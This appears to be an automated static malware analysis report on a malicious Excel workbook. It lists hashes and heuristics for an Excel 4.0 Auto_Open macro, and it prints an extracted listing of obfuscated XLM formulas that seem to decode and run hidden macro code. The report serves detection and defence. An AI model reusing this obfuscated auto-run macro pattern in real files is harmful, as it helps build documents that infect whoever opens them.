Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 135d0fa057b6c109…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:59 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 9d2b9e6c1075a261099e51b1bf881be1 SHA-1: 0018982b7848ac888656c368a5ff3b4473778c79 SHA-256: 135d0fa057b6c10983338bdce9260acc4c188e291334a2e91a04f7d10b09f3d3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6598 bytes
SHA-256: 0c7ed3a33ec52b823b3236dfbc64fd1dca01c458f69195f3e611812804e4e4e6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZUpyqF
' 0018     21 LABEL : Cell Value, String Constant - aBfPjt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C158 
' 0018     26 LABEL : Cell Value, String Constant - CLicHnCNwma len=0 
' 0018     22 LABEL : Cell Value, String Constant - deRaVKh len=0 
' 0018     22 LABEL : Cell Value, String Constant - djJHtfm len=0 
' 0018     22 LABEL : Cell Value, String Constant - eluRGwV len=0 
' 0018     23 LABEL : Cell Value, String Constant - GdlEveGU len=0 
' 0018     24 LABEL : Cell Value, String Constant - hcghjeYyk len=0 
' 0018     23 LABEL : Cell Value, String Constant - JVRCeyvO len=0 
' 0018     26 LABEL : Cell Value, String Constant - kEoaHHRUaEc len=0 
' 0018     20 LABEL : Cell Value, String Constant - MBXNf len=0 
' 0018     24 LABEL : Cell Value, String Constant - mQRRRszTQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - MzucWHsGmGFH len=0 
' 0018     27 LABEL : Cell Value, String Constant - oRnkAXGCXuih len=0 
' 0018     22 LABEL : Cell Value, String Constant - piDkPnf len=0 
' 0018     24 LABEL : Cell Value, String Constant - SObecYtut len=0 
' 0018     25 LABEL : Cell Value, String Constant - sosBwKNkYZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - SSIRWoAHamsK len=0 
' 0018     23 LABEL : Cell Value, String Constant - uxSOWQFZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZmTzIVBM len=0 
' 0018     22 LABEL : Cell Value, String Constant - zQlLiaw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZUpyqF,C67,"SET.NAME("mQRRRszTQ",VALUE("0"))",""
'  ZUpyqF,C69,"SET.NAME("deRaVKh",mQRRRszTQ)",""
'  ZUpyqF,C71,"SET.NAME("SSIRWoAHamsK",mQRRRszTQ)",""
'  ZUpyqF,C75,"SET.NAME("eluRGwV",COUNTA(uxSOWQFZ))",""
'  ZUpyqF,C79,"SET.NAME("GdlEveGU",COUNTA(kEoaHHRUaEc))",""
'  ZUpyqF,C82,[],""
'  ZUpyqF,C86,"SET.NAME("aBfPjt","")",""
'  ZUpyqF,C88,"deRaVKh",""
'  ZUpyqF,C90,"SET.NAME("oRnkAXGCXuih",HLOOKUP("*",uxSOWQFZ,deRaVKh,FALSE))",""
'  ZUpyqF,C94,"piDkPnf",""
'  ZUpyqF,C98,"SET.NAME("MzucWHsGmGFH",mQRRRszTQ)",""
'  ZUpyqF,C103,[],""
'  ZUpyqF,C108,"MzucWHsGmGFH",""
'  ZUpyqF,C111,"SObecYtut",""
'  ZUpyqF,C115,"zQlLiaw",""
'  ZUpyqF,C117,"sosBwKNkYZ",""
'  ZUpyqF,C119,"SET.NAME("hcghjeYyk",VALUE(HLOOKUP("*",kEoaHHRUaEc,sosBwKNkYZ,FALSE)))",""
'  ZUpyqF,C124,"MBXNf",""
'  ZUpyqF,C128,"aBfPjt",""
'  ZUpyqF,C133,"SSIRWoAHamsK",""
'  ZUpyqF,C136,NEXT(),""
'  ZUpyqF,C140,"JVRCeyvO",""
'  ZUpyqF,C143,"SET.NAME("f",INT(T(FORMULA(T(aBfPjt)&"",""&T(JVRCeyvO)))))",""
'  ZUpyqF,C148,"djJHtfm",""
'  ZUpyqF,C152,NEXT(),""
'  ZUpyqF,C154,RETURN(),""
'  ZUpyqF,C181,"SET.NAME("ZmTzIVBM",C67)",""
'  ZUpyqF,C186,"uxSOWQFZ",""
'  ZUpyqF,C188,"SET.NAME("kEoaHHRUaEc",R96C13)",""
'  ZUpyqF,C190,"SET.NAME("djJHtfm",199)",""
'  ZUpyqF,C194,"SET.NAME("CLicHnCNwma",3)",""
'  ZUpyqF,C198,ZmTzIVBM(),""
'  ZUpyqF,C199,HALT(),""

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